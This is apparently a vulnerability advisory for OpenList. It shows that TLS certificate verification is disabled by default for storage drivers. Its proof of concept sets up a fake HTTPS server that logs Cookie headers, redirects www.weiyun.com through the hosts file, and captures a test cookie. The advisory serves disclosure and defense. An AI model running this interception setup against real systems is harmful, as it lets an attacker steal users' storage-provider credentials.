Summary

The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.

Details

Certificate verification is disabled by default for all storage driver communications.

The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go.

~~~ func DefaultConfig() *Config { // ... TlsInsecureSkipVerify: true, // ... } ~~~

This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings.

PoC

We modified the /etc/hostsfile to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.

The purpose of this PoC is to demonstrate that the Openlist server will indeed establish communication with a malicious server due to disabled certificate verification. This allows us to intercept and steal authentication cookies used for communicating with other storage providers.

Setup a malicious https server:

ssl.conf: ~~~ LoadModule sslmodule modules/modssl.so LoadModule logconfigmodule modules/modlogconfig.so

Listen 443

LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers CustomLog "/usr/local/apache2/logs/headers.log" headers

<VirtualHost default:443> DocumentRoot "/usr/local/apache2/htdocs" ServerName localhost

SSLEngine on
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"

ErrorLog "/usr/local/apache2/logs/ssl_error.log"

<Directory "/usr/local/apache2/htdocs">
    Options Indexes FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

</VirtualHost> ~~~

Dockerfile: ~~~ FROM httpd:2.4

Copy SSL config

COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf

Include SSL config in main httpd.conf

RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf

Copy certs

COPY certs/server.crt /usr/local/apache2/conf/server.crt COPY certs/server.key /usr/local/apache2/conf/server.key ~~~

build-ssh-httpd.sh ~~~bash mkdir certs openssl req -x509 -nodes -days 365 \ -newkey rsa:2048 \ -keyout certs/server.key \ -out certs/server.crt docker build -t httpd-test-ssl . ~~~

docker-compose.yaml: ~~~ services: openlist: restart: always volumes: - '/etc/openlist:/opt/openlist/data' ports: - '5244:5244' - '5245:5245' user: '0:0' environment: - UMASK=022 - TZ=Asia/Shanghai container_name: openlist image: 'openlistteam/openlist:latest'

evilhttpd: image: 'httpd-test-ssl:latest' ~~~

Simulate DNS hijacking

Modify openlist container's /etc/hosts to redirect www.weiyun.com to malicious server: ~~~ <IP of HTTPS Server> www.weiyun.com ~~~

You can ping evilhttpd to obtain its IP.

Trigger

In the front end, add a weiyun storage and inspect log on tls server:

~~~ root@3c5bbda440c9:/usr/local/apache2# tail -n 1 /usr/local/apache2/logs/headers.log 172.18.0.2 - - [18/Dec/2025:06:29:48 +0000] "POST /webapp/json/weiyunQdiskClient/DiskUserInfoGet?cmd=2201&gtk= HTTP/1.1" 404 236 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Macintosh; Apple macOS 155) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Chrome/138.0.0.0 Referer:- Accept:- Cookie:test-secret-cookie= ~~~

Note that the cookie in the log.

Impact

This misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.

This vulnerability affects all openlist deployment with default TLS configuration.

Note

Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

We follow the security industry standard 90+30 disclosure policy. If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.